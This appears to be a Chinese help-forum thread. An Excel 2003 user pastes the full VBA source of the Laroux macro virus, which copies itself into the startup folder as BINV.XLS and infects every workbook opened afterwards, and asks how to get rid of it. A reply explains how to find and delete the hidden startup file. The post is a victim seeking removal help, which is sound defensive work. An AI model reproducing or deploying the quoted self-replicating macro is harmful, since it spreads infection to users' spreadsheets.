Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "BINV.XLS") If m$ = "BINV.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 Select Case whichfile Case 10 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name Sheets("laroux").Visible = True Sheets("laroux").Select Sheets("laroux").Copy With ActiveWorkbook .Title = "" .Subject = "" .Author = "" .Keywords = "" .Comments = "" End With newname$ = ActiveWorkbook.Name c4$ = CurDir() ChDir Application.StartupPath ActiveWindow.Visible = False Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "BINV.XLS", FileFormat:=xlNormal _ , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _ False, CreateBackup:=False ChDir c4$ Workbooks(n4$).Sheets("laroux").Visible = False Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "BINV.xls!check_files" Case 1 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path If s$ <> "laroux" Then Workbooks("BINV.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1) Workbooks(n4$).Sheets("laroux").Visible = False Else End If Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "BINV.xls!check_files" Case Else End Select End Sub 我的EXCEL2003在最近总是在打开文件时,同时打开一个BINV.XLS文件,十分麻烦,而且如果直接找开EXCEL并不是原来的EXCEL--BOOK1,而是打开一个BINV.XLS文件,该文件只有两个工作表,一个名为“XXXXXX”,另一个名为“SHEFT1”, 每次打开表都提示打开宏,但是我的电脑中没有BINV.xls 这个表,我删除了,打开表格自动又有了。 保存的时候提示你每次另存为。估计只要我另存为表格就被别人COPY走了。。 我现在只把这段代码删除,宏启动关闭!
请问这个怎么彻底删除???
关闭 EXCEL 在文件夹选项中设置显示隐藏文件,然后再搜索BINV.XLS文件。 通常可能会在下面的目录中 C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART 找到后,删除就可以了
|